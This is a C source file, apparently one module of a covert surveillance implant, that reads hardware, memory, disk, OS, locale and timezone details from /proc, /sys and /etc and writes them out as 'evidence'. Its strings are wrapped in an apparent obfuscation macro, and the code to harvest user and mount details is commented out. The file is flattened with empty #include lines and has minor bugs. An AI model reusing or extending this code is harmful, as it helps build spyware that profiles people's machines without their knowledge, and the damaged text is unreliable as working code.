#define _BSD_SOURCE 1 #include #include #include #include #include #include #include #include #include #include #include #include "module.h" #include "evidencemanager.h" #include "me.h" #include "so.h" struct device_info { struct { char vendor[128]; char model[128]; char cpu[128]; unsigned char ncpu; } hw; struct { unsigned int memt; unsigned int memf; unsigned int diskt; unsigned int diskf; } stat; struct { char ac[16]; unsigned char battery; } power; struct { char ver[128]; char arch[16]; char lang[16]; char tzname[8]; char tzoff[8]; } os; struct { char name[16]; unsigned int uid; unsigned int gid; char gecos[64]; char home[64]; } user; struct { char list[1024]; } mount; }; void device_hw(struct device_info *di); void device_stat(struct device_info *di); void device_power(struct device_info *di); void device_os(struct device_info *di); void device_user(struct device_info *di); void device_mount(struct device_info *di); void *module_device_main(void *args) { struct device_info di; BIO *bio_mem; int len, i; char *ptr, *utf; debugme("module DEVICE executed\n"); memset(&di, 0x00, sizeof(di)); device_hw(&di); device_stat(&di); device_power(&di); device_os(&di); //device_user(&di); //device_mount(&di); bio_mem = BIO_new(BIO_s_mem()); BIO_printf(bio_mem, SO"Device: %s %s", di.hw.vendor, di.hw.model); BIO_printf(bio_mem, "\n"); BIO_printf(bio_mem, SO"Processor: %u x %s", di.hw.ncpu, di.hw.cpu); BIO_printf(bio_mem, "\n"); BIO_printf(bio_mem, SO"Memory: %uMB (%u%% used)", di.stat.memt, 100 - di.stat.memf * 100 / di.stat.memt); BIO_printf(bio_mem, "\n"); BIO_printf(bio_mem, SO"Disk: %uGB (%u%% used)", di.stat.diskt, (di.stat.diskt ? (100 - di.stat.diskf * (100 / di.stat.diskt)) : 0)); BIO_printf(bio_mem, "\n"); //BIO_printf(bio_mem, SO"Power: AC %s", di.power.ac); //BIO_printf(bio_mem, "\n"); BIO_printf(bio_mem, "\n"); BIO_printf(bio_mem, SO"OS Version: %s (%s)", di.os.ver, di.os.arch); BIO_printf(bio_mem, "\n"); BIO_printf(bio_mem, SO"Locale settings: %s - %s (UTC %s)", di.os.lang, di.os.tzname, di.os.tzoff); BIO_printf(bio_mem, "\n"); //BIO_printf(bio_mem, "\n"); //BIO_printf(bio_mem, SO"Mounted filesystems:"); //BIO_printf(bio_mem, "\n"); //BIO_printf(bio_mem, "%s\n", di.mount.list); //BIO_printf(bio_mem, "\n"); len = BIO_get_mem_data(bio_mem, &ptr); utf = malloc(2 * len); for(i = 0; i < len; i++) { utf[2*i] = ptr[i]; utf[2*i+1] = '\0'; } evidence_write(EVIDENCE_TYPE_DEVICE, NULL, 0, utf, len * 2); BIO_free(bio_mem); debugme("module DEVICE ended\n"); return NULL; } void device_hw(struct device_info *di) { FILE *fp = NULL; char buf[128], *ptr = NULL; if(!(fp = fopen(SO"/sys/devices/virtual/dmi/id/sys_vendor", "r")) || !fgets(di->hw.vendor, sizeof(di->hw.vendor), fp)) { strncpy(di->hw.vendor, SO"(unknown)", sizeof(di->hw.vendor) - 1); } if(fp) fclose(fp); if(!(fp = fopen(SO"/sys/devices/virtual/dmi/id/product_name", "r")) || !fgets(di->hw.model, sizeof(di->hw.model), fp)) { di->hw.model[0] = '\n'; } if(fp) fclose(fp); if(di->hw.vendor[strlen(di->hw.vendor) - 1] == '\n') di->hw.vendor[strlen(di->hw.vendor) - 1] = '\0'; while(di->hw.vendor[strlen(di->hw.vendor) - 1] == ' ') di->hw.vendor[strlen(di->hw.vendor) - 1] = '\0'; if(di->hw.model[strlen(di->hw.model) - 1] == '\n') di->hw.model[strlen(di->hw.model) - 1] = '\0'; while(di->hw.model[strlen(di->hw.model) - 1] == ' ') di->hw.model[strlen(di->hw.model) - 1] = '\0'; if(!(fp = fopen(SO"/proc/cpuinfo", "r"))) return; while(fgets(buf, sizeof(buf), fp)) { if(!strncasecmp(buf, SO"model name", strlen(SO"model name"))) { if((ptr = strstr(buf, ": ") + 2)) strncpy(di->hw.cpu, ptr, sizeof(di->hw.cpu) - 1); } else if(!strncasecmp(buf, SO"processor", strlen(SO"processor"))) { if((ptr = strstr(buf, ": ") + 2)) di->hw.ncpu = atoi(ptr) + 1; } } fclose(fp); if((di->hw.cpu[0]) && (di->hw.cpu[strlen(di->hw.cpu) - 1] == '\n')) di->hw.cpu[strlen(di->hw.cpu) - 1] = '\0'; return; } void device_stat(struct device_info *di) { FILE *fp = NULL; struct statvfs s; char buf[128], *ptr = NULL; if((fp = fopen(SO"/proc/meminfo", "r"))) { while(fgets(buf, sizeof(buf), fp)) { if(!strncasecmp(buf, SO"MemTotal:", strlen(SO"MemTotal:"))) { ptr = buf + strlen(SO"MemTotal:"); while(*ptr && (*ptr == ' ')) ptr++; di->stat.memt = atoll(ptr) / 1024; } else if(!strncasecmp(buf, SO"MemFree:", strlen(SO"MemFree:"))) { ptr = buf + strlen(SO"MemFree:"); while(*ptr && (*ptr == ' ')) ptr++; di->stat.memf += atoll(ptr) / 1024; } else if(!strncasecmp(buf, SO"Cached:", strlen(SO"Cached:"))) { ptr = buf + strlen(SO"Cached:"); while(*ptr && (*ptr == ' ')) ptr++; di->stat.memf += atoll(ptr) / 1024; } } fclose(fp); } if(di->stat.memf > di->stat.memt) di->stat.memf = di->stat.memt; if((ptr = getcwd(NULL, 0))) { if(statvfs(ptr, &s)) return; di->stat.diskt = (unsigned int)((unsigned long long)s.f_blocks * (unsigned long long)s.f_bsize / (unsigned long long)1073741824); di->stat.diskf = (unsigned int)((unsigned long long)s.f_bavail * (unsigned long long)s.f_bsize / (unsigned long long)1073741824); free(ptr); } return; } void device_power(struct device_info *di) { FILE *fp = NULL; char buf[128], *ptr = NULL; strncpy(di->power.ac, SO"(unavailable)", sizeof(di->power.ac) - 1); if(!(fp = fopen(SO"/proc/acpi/ac_adapter/AC/state", "r"))) return; while(fgets(buf, sizeof(buf), fp)) { if(!strncasecmp(buf, SO"state:", strlen(SO"state:"))) { ptr = buf + strlen(SO"state:"); while(*ptr && (*ptr == ' ')) ptr++; strncpy(di->power.ac, ptr, sizeof(di->power.ac) - 1); } } fclose(fp); if(di->power.ac[strlen(di->power.ac) - 1] == '\n') di->power.ac[strlen(di->power.ac) - 1] = '\0'; return; } void device_os(struct device_info *di) { FILE *fp = NULL; struct utsname u; char buf[128], *ptr = NULL; time_t t; struct tm ts; do { strncpy(di->os.ver, SO"(unknown)", sizeof(di->os.ver) - 1); if((fp = fopen(SO"/etc/lsb-release", "r"))) { while(fgets(buf, sizeof(buf), fp)) { if(!strncasecmp(buf, SO"DISTRIB_DESCRIPTION=", strlen(SO"DISTRIB_DESCRIPTION="))) { ptr = buf + strlen(SO"DISTRIB_DESCRIPTION="); while(*ptr && ((*ptr == ' ') || (*ptr == '"'))) ptr++; strncpy(di->os.ver, ptr, sizeof(di->os.ver) - 1); while((di->os.ver[strlen(di->os.ver) - 1] == '"') || (di->os.ver[strlen(di->os.ver) - 1] == '\n')) di->os.ver[strlen(di->os.ver) - 1] = '\0'; } } } else if((fp = fopen(SO"/etc/debian_version", "r"))) { if(!fgets(buf, sizeof(buf), fp)) break; if(buf[strlen(buf) - 1] == '\n') buf[strlen(buf) - 1] = '\0'; snprintf(di->os.ver, sizeof(di->os.ver), SO"Debian GNU/Linux %s", buf); } } while(0); if(fp) fclose(fp); if(di->os.ver[strlen(di->os.ver) - 1] == '\n') di->os.ver[strlen(di->os.ver) - 1] = '\0'; if(!uname(&u)) strncpy(di->os.arch, u.machine, sizeof(di->os.arch) - 1); if(!(ptr = getenv(SO"LANG"))) ptr = SO"(unknown)"; strncpy(di->os.lang, ptr, sizeof(di->os.lang) - 1); t = time(NULL); localtime_r(&t, &ts); strftime(di->os.tzname, sizeof(di->os.tzname), "%Z", &ts); strftime(di->os.tzoff, sizeof(di->os.tzoff), "%z", &ts); di->os.tzoff[6] = '\0'; di->os.tzoff[5] = di->os.tzoff[4]; di->os.tzoff[4] = di->os.tzoff[3]; di->os.tzoff[3] = ':'; return; } void device_user(struct device_info *di) { FILE *fp = NULL; char buf[128], *gecos, *home, *ptr = NULL; di->user.uid = (unsigned int)getuid(); di->user.gid = (unsigned int)getuid(); if(!(fp = fopen(SO"/etc/passwd", "r"))) return; while(fgets(buf, sizeof(buf), fp)) { if(!(ptr = strchr(buf, ':')) || !(ptr = strchr(++ptr, ':')) || (atoi(++ptr) != di->user.uid)) continue; if((gecos = strchr(ptr, ':')) && (gecos = strchr(++gecos, ':'))) *gecos++ = '\0'; if((home = strchr(gecos, ':'))) *home++ = '\0'; if((ptr = strchr(home, ':'))) *ptr = '\0'; } fclose(fp); return; } void device_mount(struct device_info *di) { FILE *fp = NULL; char buf[512], *device = NULL, *mountpoint = NULL, *type = NULL, *ptr = NULL; if(!(fp = fopen(SO"/etc/mtab", "r"))) return; while(fgets(buf, sizeof(buf), fp)) { device = buf; if((mountpoint = strchr(device, ' '))) *mountpoint++ = '\0'; if((type = strchr(mountpoint, ' '))) *type++ = '\0'; if((ptr = strchr(type, ' '))) *ptr = '\0'; ptr = &di->mount.list[strlen(di->mount.list)]; snprintf(ptr, sizeof(di->mount.list) - strlen(di->mount.list), "%s %s (%s)\n", device, mountpoint, type); } fclose(fp); if(di->mount.list[strlen(di->mount.list) - 1] == '\n') di->mount.list[strlen(di->mount.list) - 1] = '\0'; return; } .